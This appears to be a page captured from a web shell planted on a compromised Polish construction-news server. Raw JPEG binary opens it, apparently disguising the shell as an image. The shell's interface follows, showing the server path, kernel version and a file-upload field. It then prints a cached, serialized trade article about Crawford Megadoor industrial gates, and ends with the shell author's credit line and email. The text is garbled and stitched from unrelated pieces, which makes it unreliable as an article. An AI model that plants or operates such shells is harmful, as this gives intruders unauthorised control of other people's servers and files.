JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/frontend/runtime/cache/57/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : //home/vmanager/www/frontend/runtime/cache/57/57958ec27ebff35fb59c9e81e2ec6c7d.bin

a:2:{i:0;a:2:{i:0;s:14491:" 
                    
                    <h3 class="title" itemprop="headline">Crawford przedstawia bramy Megadoor &#8211; mega bramy dla przemysłu</h3>
                    <p><span class="glyphicon glyphicon-time" aria-hidden="true"></span> <strong itemprop="datePublished"> 24-11-2011, 00:00</strong>
                        <meta itemprop="dateModified" content=" 24-11-2011, 00:00"/>
                        <div class="hide" itemprop="description">
	Rozw&oacute;j przemysłu, transportu czy spedycji wpłynął na rozkwit innowacyjnych rozwiązań w zakresie bram przemysłowych do hal produkcyjnych, hangar&oacute;w lotniczych lub też stolarni. Koniunktura ta dotyczy r&oacute;wnież firmy Crawford, kt&oacute;ra od ponad p&oacute;ł wieku produkuje bramy Megadoor, skonstruowane specjalnie z myślą o hangarach lotniczych, przemyśle stoczniowym, wydobywczym, papierniczym, energetycznym.</div>
                        <div class="hide" itemprop="publisher" itemscope itemtype="https://schema.org/Organization">
                            <meta itemprop="name" content="budownictwo.org">
                            <div itemprop="logo" itemscope itemtype="https://schema.org/ImageObject">
                                <meta itemprop="url" content="https://www.budownictwo.org/images/loga/budownictwo.jpg">
                            </div>
                        </div>
                        <div class="hide" itemprop="image" itemscope itemtype="https://schema.org/ImageObject">
                            <meta itemprop="url" content="https://common.v-manager.pl/uploads/images/articles/42697/crop/800x600/0fec593295-728285001571972140.webp">
                        </div>
                        <meta itemscope itemprop="mainEntityOfPage" itemType="https://schema.org/WebPage" itemid="https://www.budownictwo.org/artykuly/szczegoly/42697"/>
                        
                                        </p>

                    <div class="lorem">
                        <table align="left" border="0" cellpadding="3" cellspacing="3">
	<tbody>
		<tr>
			<td>
				<img alt="" src="https://common.v-manager.pl/uploads/source/articles/42697/0_upload_341a3b6811.webp" style="width:147px;height:56px;" loading="lazy" /></td>
		</tr>
	</tbody>
</table><p>
	<strong>Rozwój przemysłu, transportu czy spedycji wpłynął na rozkwit innowacyjnych rozwiązań w zakresie bram przemysłowych do hal produkcyjnych, hangarów lotniczych lub też stolarni. Koniunktura ta dotyczy również firmy Crawford, która od ponad pół wieku produkuje bramy Megadoor, skonstruowane specjalnie z myślą o hangarach lotniczych, przemyśle stoczniowym, wydobywczym, papierniczym, energetycznym.</strong></p><p>
	<strong>Jak powstały bramy Megadoor?</strong></p><table align="right" border="0" cellpadding="3" cellspacing="3">
	<tbody>
		<tr>
			<td>
				<img alt="" src="https://common.v-manager.pl/uploads/source/articles/42697/0_upload_7dcfa4a569.webp" style="width:200px;height:150px;" loading="lazy" /></td>
		</tr>
		<tr>
			<td>
				<strong>Bramy Megadoor<br />
				wykorzystywane są również<br />
				na lotniskach, fot. Crawford</strong></td>
		</tr>
	</tbody>
</table><p>
	Bramy przemysłowe firmy Crawford po raz pierwszy pojawiły się w latach 60. ubiegłego wieku. Pierwotnie były przeznaczone dla bardzo trudnych, wywołujących korozję środowisk przemysłowych – suszarni drewna. Gdy starano się zwiększyć wydajności zakładu, pojawiał się problem z utrzymaniem stałej wilgotności, temperatury czy ciśnienia. Dużym kłopotem były przeciągi, które destabilizowały warunki cieplne wewnątrz hal. Panaceum na tego typu zmartwienia stały się bramy Megadoor, które gwarantują szczelność konstrukcji, dodatkowo są odporne na trudne warunki produkcyjne czy przetwórcze. Dzięki zastosowaniu rozwiązania złożonego z uchylnych kolumn, bramy Megadoor mogą mieć niemal nieograniczone rozmiary, co czyni je idealnym rozwiązaniem dla bardzo dużych otworów w rodzaju bram hangarów lotniczych czy doków stoczniowych. Co ciekawe, rozwiązanie Crawford jest szeroko wykorzystywane również na lotniskach, do hangarów z samolotami Airbus A 380. Warto dodać, że Megadoor jest najczęściej stosowaną bramą w hangarach wojskowych w USA.</p><p>
	<strong>Koncepcja bram Megadoor firmy Crawford</strong></p><table align="left" border="0" cellpadding="3" cellspacing="3">
	<tbody>
		<tr>
			<td>
				<img alt="" src="https://common.v-manager.pl/uploads/source/articles/42697/0_upload_9a86e717af.webp" style="width:200px;height:149px;" loading="lazy" /></td>
		</tr>
		<tr>
			<td>
				<strong>Brama przemysłowa<br />
				fot. Crawford</strong></td>
		</tr>
	</tbody>
</table><p>
	Bramy przemysłowe typu Megadoor są wykonane z tkaniny o wysokiej wytrzymałości i minimalnych wymaganiach w zakresie konserwacji. Dwie warstwy materiału poliestrowego powlekanego PCV są podtrzymywane przez poziome segmenty z profilowanego aluminium, które są z kolei mocowane do tkaniny aluminiowymi profilami. Brama złożona jest z solidnych i odpornych na korozję elementów oraz z niezawodnego układu elektrycznego. Konstrukcja Megadoor jest niezwykle wytrzymała na wiatr, wilgoć oraz kurz. Właściwości te pozwalają na montaż tych rozwiązań w przemyśle ciężkim, hutnictwie, przetwórstwie surowców, lakierniach, zakładach przetwarzania surowców wtórnych, elektrowniach, zakładach utylizacji odpadów, dokach stoczniowych, a także w zakładach celulozowo-papierniczych, halach z suwnicami oraz hangarach lotniczych. Linia Megadoor obejmuje bramy standardowe, specjalne oraz te do hangarów, przy których nie ma praktycznie ograniczeń w zakresie wymiarów. Jest to możliwe dzięki systemowi uchylnych kolumn Megadoor. Warto podkreślić, że rozwiązanie to spełnia wymagania zharmonizowanych norm europejskich.</p><p>
	<strong>Bezproblemowe funkcjonowanie</strong></p><table align="right" border="0" cellpadding="3" cellspacing="3">
	<tbody>
		<tr>
			<td>
				<img alt="" src="https://common.v-manager.pl/uploads/source/articles/42697/0_upload_a9b6ca1c88.webp" style="width:200px;height:151px;" loading="lazy" /></td>
		</tr>
		<tr>
			<td>
				<strong>Bramy Megadoor można dzielić<br />
				na dwie lub więcej mniejszych<br />
				częsci, fot. Crawford</strong></td>
		</tr>
	</tbody>
</table><p>
	Brama Megadoor firmy Crawford jest podnoszona i opuszczana po przymocowanych do konstrukcji budynku pionowych prowadnicach, zabezpieczających przed działaniem warunków atmosferycznych. Konstrukcja działa na zasadzie unoszenia dolnej części i składania kolejnych segmentów jeden na drugim. Tkanina jest składana w obustronne fałdy. Megadoor posiada niewielką ilość ruchomych elementów i dzięki temu nie wymaga częstej konserwacji i serwisu. Unikalna konstrukcja bram przemysłowych Megadoor jest szczególnie polecana dla rejonów o dużym natężeniu wiatru – poziome segmenty przekazują obciążenia związane z naporem powietrza na pionowe prowadnice. Rozwiązanie to pozwala zaprojektować bramę niemal do każdego obiektu bez obawy o zniszczenie tkaniny.</p><p>
	Warto podkreślić, że w niektórych zastosowaniach oraz przy bardzo dużych otworach można podzielić bramy na dwie lub więcej mniejszych części za pomocą systemu ruchomych kolumn. System złożony z kilku bram zapewnia większą elastyczność w przypadku konstruowania budynków.</p><p>
	<strong>Megadoor S800, S1000 – wielkogabarytowe bramy przemysłowe</strong></p><table align="left" border="0" cellpadding="3" cellspacing="3">
	<tbody>
		<tr>
			<td>
				<img alt="" src="https://common.v-manager.pl/uploads/source/articles/42697/0_upload_4cf19e0b54.webp" style="width:200px;height:141px;" loading="lazy" /></td>
		</tr>
		<tr>
			<td>
				<strong>Brama przemysłowa<br />
				fot. Crawford</strong></td>
		</tr>
	</tbody>
</table><p>
	Bramy składane z tkaniny typu Megadoor S800 i S1000 to standardowe systemy dla średnich i dużych otworów w środowiskach przemysłowych. Grubość skrzydła bramy S800 wynosi 100 mm, szerokość dla światła dziennego wynosi 8 m, z kolei maksymalna wysokość to 12 m. Prędkość otwierania i zamykania kurtyny waha się na poziomie 0,2 – 0,3 m/s. Za sterowanie modelu Megadoor S800 odpowiada niezawodny układ ze sterownikiem programowalnym i funkcją samoczynnej diagnostyki. Skrzydło bramy może być wykonane z różnych rodzajów tkanin przystosowanych do skrajnego gorąca, zimna, redukcji hałasów lub zapewniających podwyższone bezpieczeństwo.</p><p>
	Megadoor oznaczony symbolem S100 odznacza się grubością skrzydła na poziomie 160 mm. Z kolei wymiary tej bramy przemysłowej sięgają 14 m szerokości oraz 16 m wysokości. Prędkość otwierania i zamykania kształtuje się na poziomie podobnym jak w modelu S800 i wynosi od 0,2 do 0,3 m/s. Wysoka szczelność, trwałość oraz bardzo dobry stopień bezpieczeństwa to tylko niektóre walory bramy przemysłowej Megadoor S1000. Co więcej, panele zapewniające stabilność konstrukcji oraz elementy ze stali nierdzewnej dla silnie korozyjnych środowisk, stwarzają możliwość opcjonalnej rozbudowy wyposażenia bramy. Bramy S800 i S1000 dostępne są w siedmiu kolorach, które umożliwiają dobór barwy do obiektu.</p><p>
	<strong>Megadoor S1500 – specjalna brama do indywidualnych zastosowań</strong></p><table align="right" border="0" cellpadding="3" cellspacing="3">
	<tbody>
		<tr>
			<td>
				<img alt="" src="https://common.v-manager.pl/uploads/source/articles/42697/0_upload_e6f54c3fb9.webp" style="width:200px;height:149px;" loading="lazy" /></td>
		</tr>
		<tr>
			<td>
				<strong>Indywidualny dobór rozmiaru<br />
				bramy pozwala na montaż<br />
				Megadoor w bardzo dużych<br />
				otworach, fot. Crawford</strong></td>
		</tr>
	</tbody>
</table><p>
	Bramy specjalne Megadoor S1500 przystosowane są do indywidualnych potrzeb klienta, w przypadku dużej wielkości otworu bramy. Typowe obszary zastosowań tego modelu to stocznie, przemysł ciężki i suwnice przeładunkowe. Wymiary bramy S1500 można dostosować niemal do każdej siły wiatru. Grubość skrzydła może wynosić 290 mm lub 590 mm. Jeśli zaś chodzi o konfigurację wysokości i szerokości - możliwości są właściwie nieograniczone. Przy konstrukcjach złożonych z wielu bram, szerokość dla światła dziennego można dostosować na indywidualne zapotrzebowanie. W komplecie dostępnych jest wiele systemów automatycznego lub ręcznego sterowania otwieraniem i zamykaniem bramy. Brama może być wykonane z wielu rodzajów tkanin odpornych na zmienne warunki pogodowe. Co więcej, niezawodna praca, możliwość pracy w ciężkich warunkach, a także elastyczny sposób otwierania powodują, że jest to rozwiązanie idealne do zaspakajania indywidualnych potrzeb użytkowników w zakresie bardzo dużych rozmiarów bram.</p><p>
	Prosta, zwarta konstrukcja i niewielka waga bram Megadoor zmniejsza rozmiar oraz wymagania konstrukcyjne budynku, a tym samym obniża całkowity koszt budowy obiektów, umożliwiając innowacyjną konstrukcję hal produkcyjnych, zakładów przetwórczych czy hangarów lotniczych. Dodatkowo, możliwość doboru rozmiaru bramy do nawet bardzo dużych otworów wjazdowych sprawia, że jest to rozwiązanie idealnie skrojone na miarę oczekiwań inwestorów.</p><p>
	<a href="http://www.crawfordsolutions.pl" target="_blank" rel="noopener">www.crawfordsolutions.pl</a></p><table align="center" border="0" cellpadding="3" cellspacing="3">
	<tbody>
		<tr>
			<td>
				<img alt="" src="https://common.v-manager.pl/uploads/source/articles/42697/0_upload_8a0311c652.webp" style="width:250px;height:150px;" loading="lazy" /></td>
		</tr>
		<tr>
			<td>
				<strong>fot. Crawford</strong></td>
		</tr>
	</tbody>
</table><p>
	 </p>
                        
                         


                           
                    </div>
                    
                    <div class="text-center">
                                        </div>

                                            
                      
                        
                        
                    
                                        
                                            <div class="nav-table tags mt05">
                            <div>Tagi:</div>    
                            <div>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=brama" class="label label-default">brama</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=Crawford" class="label label-default">Crawford</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=brama+przemysłowa" class="label label-default">brama przemysłowa</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=Megadoor" class="label label-default">Megadoor</a>
                                                            </div>
                        </div>
                                            
                        
                    <div id="fb-root"></div>
                    <!--script async defer crossorigin="anonymous" src="https://connect.facebook.net/pl_PL/sdk.js#xfbml=1&version=v12.0" nonce="2g9iczzS"></script-->
                    
<script>
//<![CDATA[
var lx=!1;window.addEventListener("scroll",function(){(0!=document.documentElement.scrollTop&&!1===lx||0!=document.body.scrollTop&&!1===lx)&&(!function(){var e=document.createElement("script");e.type="text/javascript",e.async=!0,e.src="https://connect.facebook.net/pl_PL/sdk.js#xfbml=1&version=v12.0";var a=document.getElementsByTagName("script")[0];a.parentNode.insertBefore(e,a)}(),lx=!0)},!0);
//]]>
</script>
                    
                    <div class="social text-center mb1">
                        <div class="fb-like" data-href="https://www.budownictwo.org/artykuly/szczegoly/42697_crawford-przedstawia-bramy-megadoor-8211-mega-bramy-dla-przemyslu" data-width="" data-layout="button" data-action="like" data-show-faces="false" data-share="true"></div>
                    </div>

                    
                    <div id="articles">    
                        
                    
                                    ";i:1;N;}i:1;O:25:"yii\caching\TagDependency":3:{s:4:"tags";a:2:{i:0;s:13:"article_42697";i:1;s:8:"articles";}s:4:"data";a:2:{s:32:"9e8790a1411e927a7932098b6a51dda2";s:21:"0.19748400 1746267800";s:32:"9f4ebfa1b76d6bc6617aec9034853422";s:21:"0.22954000 1749980350";}s:8:"reusable";b:0;}}

Creat By MiNi SheLL
Email: jattceo@gmail.com